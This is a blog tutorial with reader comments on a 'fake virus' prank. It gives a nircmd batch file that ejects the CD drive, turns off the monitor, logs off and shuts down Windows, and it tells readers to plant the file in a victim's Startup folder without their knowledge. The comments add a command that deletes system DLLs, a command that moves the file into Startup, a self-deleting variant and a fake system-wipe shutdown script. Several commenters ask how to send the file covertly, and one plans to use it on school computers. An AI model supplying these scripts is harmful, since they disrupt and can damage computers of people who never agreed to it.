How to create a simple fake virus for windows by using the nircmd utility by

Have you ever dreamed of creating a fake virus yourself to play a prank by installing the virus on your friend computer and a making a fool of him. If Yes then this post is of great interest to you.

So what would you like to do with a virus to make your friend believe that a virus has infected his/her computer.

Hmm….let me guess ?

1. Suddenly Opening and closing of cd drive.

2. Power off the monitor.

3. Log out the user out of windows xp.

4. Turn off the computer.

5. and much more….well actually any of the above events combination can make any windows user think that his/her system is infected.

Requirements For Virus To Run: Windows NT, Windows 2000 and Windows XP So you cannot run this utility on Windows 9x machines.

So How To Make and Execute the virus:

1. Firstly you don’t have to make any virus ,you just need to download a nifty utility called nircmd.exe from here (Provided By


2. Now double click the downloaded nircmd.exe and click the button which says “Copy To Windows Directory“.

3. You need to create a batch file , so open notepad and enter these commands line by line or simply just copy the text below in notepad and save it as fun.bat any where on the targeted computer.

cd %windir%
nircmd.exe cdrom open d:
nircmd.exe cdrom close d:
nircmd.exe monitor off
nircmd.exe exitwin logoff
nircmd.exe exitwin poweroff

4. Now drag to place the fun.bat in the start>>all programs>>startup and next time the person(your friend) who will reboot the computer will be the victim.

Enjoy the fun and leave your comments about your experiences with this funny fake virus for windows xp and do let me know if you have any problems in installing or running the virus.

There is lot more to explore about nircmd.exe ,So Check the NirCmd Utilty Page at

Download NirCmd | Download Fun.Bat

Playing with this tool can be real fun if you really know how to play with it.

Note: if you have caused any damage to your computer due to the above utility boot up in safe mode and remove the batch file from the start up.

P.S: I am not responsible for any damage caused to your system because of the above tool and the batch file.


  1. says

    Create a virus? :D I dont think anyone will try this out, what if the virus really creates problem. :D
    I have heard this trick, but not tried.

  2. tahir afridi says

    Hey! it’s coooooool i love that kind of hacking
    i want to more tips and tricks like that i love hacking but only for fun nice keep it up 4 us hmmmm again tanx you

  3. liam says

    wow cool instead of goin onto a m8s pc can i just send him the fun.bat file thro msn and activate it by adding codes to the file to send the file as soon as its sent strait to the startup?

  4. rahul says

    how do I send it to someoones computer.pls send me the full deatail. can u send me more about to create virus please

  5. COKH says

    i was about to download this until i thought may this wrek my computer. if i want to put this program onto my computer and send it to my friend to piss him off like hell, will i be effected??? i swear to god i will murder you if you break my computer!!!!!!!!!!1

  6. says

    I’ve tried this process, I’ve studied nircmd.exe its no problem, this prank is just a prank that will not harm your PC at all, though it really sucks if you put nircmd.exe exitwin poweroff
    it doesn’t work, this is the only possible thing that will harm your PC to bad doesn’t work

  7. says

    1. Many people have tried this out
    2. Why are you asking people to check your site?
    3. It’s totally safe
    4. No comment
    5. It is cool!
    6. your welcome!
    7. Put the nircmd.exe too in the startup along with bat
    8. Use your e-mail and tell him its a controlled thing
    9. same as no. 8 comment
    10. No you will not be effected

  8. scorpion boy says

    if i want to put the fake virus on my friend’s pc,must i put the nircmd.exe program on his/her pc aswell?
    and how do they get the fake virus of there pc,so that i can take it off then i’ll also be there hero?

  9. Loving_an_Angel says

    Well….i think it’s realy cool
    more safe than this one

    @Echo off
    del c:\windows\system\*.dll*

  10. bubu says

    not really im goig to try it out. using the school computer!! kakaka those fucker who using the computer will get in trouble not me kakaka and i get to test it out to kakak thanx

  11. sale14 says

    If I sent someone the virus, how can I make it go directly into Startup file?

  12. sunil says

    Hi frndz my name is Rock Atkinson (Work place name) i am McAfee virus removal expert, if you have any querys how to remove virus from the computer let me know to my email address

  13. lew says

    lol this isent a virus…its command promt for kids who have no idea how to program a virus…

  14. the hacker says

    Thanks !!!!!!!
    but i hv some more kool viruses created by
    which can create bad sectors in the hard disk !!!!

  15. Brett says

    I am at school as of right now.
    And i was just going to play a prank on our crappy computer crew.
    Now will this show you who installed the “fake virus”. Or will it come up as unknown.
    I have heard that this can easily be taken off as well.
    So what I would do is put it on and then take it off the next day.

  16. wesley says

    Hey people, this has worked good..
    but a few things:
    the disc drive thing doesnt work..
    however, to create messages, you must do something else..
    this is my own created one.. with text etc.
    @echo off
    echo THIS IS A VIRUS
    nircmd.exe monitor off
    cd %windir%
    nircmd.exe cdrom open d:
    nircmd.exe cdrom close d:
    goto 1
    nircmd.exe exitwin poweroff

    You may copy this..
    PAuse means you must press enter to continue…
    and echo is the text.
    You can send it to someone and if he accepts and opens it, he has the fake virus.. if you have any questions or want me to make a virus for you, contact me at
    Save the file as >>NAME<<.bat. so if you want to rename it as Soldier.. it must be Soldier.bat.. ENJOY !!

  17. lalala says

    color 0a
    @echo off
    echo Wscript.Sleep
    echo Wscript.Sleep 5000>C:\sleep5000.vbs
    echo Wscript.Sleep 3000>C:\sleep3000.vbs
    echo Wscript.Sleep 4000>C:\sleep4000.vbs
    echo Wscript.Sleep 2000>C:\sleep2000.vbs
    cd %systemroot%\System32
    start /w wscript.exe C:\sleep3000.vbs
    echo Deleting Critical System Files…
    echo del *.*
    start /w wscript.exe C:\sleep3000.vbs
    echo Deletion Successful!<brstart /w wscript.exe C:\sleep2000.vbs
    echo Deleting Root Partition…
    start /w wscript.exe C:\sleep2000.vbs
    echo del %SYSTEMROOT%
    start /w wscript.exe C:\sleep4000.vbs
    echo Deletion Successful!
    start /w wscript.exe C:\sleep2000.vbs
    echo Creating Directory h4x…
    cd C:\Documents and Settings\All Users\Start Menu\Programs\
    mkdir h4x
    start /w wscript.exe C:\sleep3000.vbs
    echo Directory Creation Successful!
    echo Execution Attempt 1…
    start /w wscript.exe C:\sleep3000.vbs
    echo cd C:\Documents and Settings\All Users\Start Menu\Programs\Startup\h4x\
    echo start hax.exe
    start /w wscript.exe C:\sleep3000.vbs
    echo Virus Executed!
    start /w wscript.exe C:\sleep2000.vbs
    echo Disabling Windows Firewall…
    start /w wscript.exe C:\sleep2000.vbs
    echo Killing all processes…
    start /w wscript.exe C:\sleep2000.vbs
    echo Allowing virus to boot from startup…
    start /w wscript.exe C:\sleep2000.vbs
    echo Virus has been executed successfully!
    start /w wscript.exe C:\sleep2000.vbs
    echo Have fun!
    start /w wscript.exe C:\sleep2000.vbs
    shutdown -s -t 10 -c “Your computer has committed suicide. Have a nice day.”

  18. Nathan says

    I Love This Virus I am going to scare my friend so much. i set this virus to delete it self so no one using that computer can find it.

    Here is an example

    del C:\Users\UserName\Desktop\Fun.bat

  19. says

    For some reason my virus protecter sayd that there was a virus then my my comuter was shutting down maybe it’s because i have vista

  20. xpFAN says

    “For some reason my virus protecter sayd that there was a virus then my my comuter was shutting down maybe it’s because i have vista”

    My friend… the only virus you should worry about is your operating system:
    Virus name: Vista
    First case found: 30 January 2007
    Symptoms: incompatibility, crashing, annoying prompts, slows down computer, chews resources
    Solution: format and install XP or Windows 7

  21. Nathan says

    It has nothing to do with Vista because I run Vista and it worked great for me.

    P.S. If you get regular updates for you Vista computer it will start to run better. (mine works almost as well a XP)

  22. ∞cheez iz amazin∞ says

    to make it go directly to starup type: move “%userprofile%/desktop/[filename.bat]” “%userprofile%/start menu/programs/starup” this is only if the file is on desktop and if u are running windows xp. but for killing computers i suggest C#.

  23. Ankit Moradiya says

    I am very impress this virus so funny and cool i get try new virus and code give us some time….

  24. Tharosa says

    Ok I have a prob. Is the victim’s PC must have the Nircmd program too?
    That means, we have to install nircmd and write the commands on the notepad or just write the commands without nircmd. If so, why are we downloading nircmd?
    I’m in trouble, plz help me

  25. abhishek says

    you don’t need to have it installed, but you just need to take this executable to the victim pc and run it thats it – i hope it solves your problem

Leave a Reply

Your email address will not be published. Required fields are marked *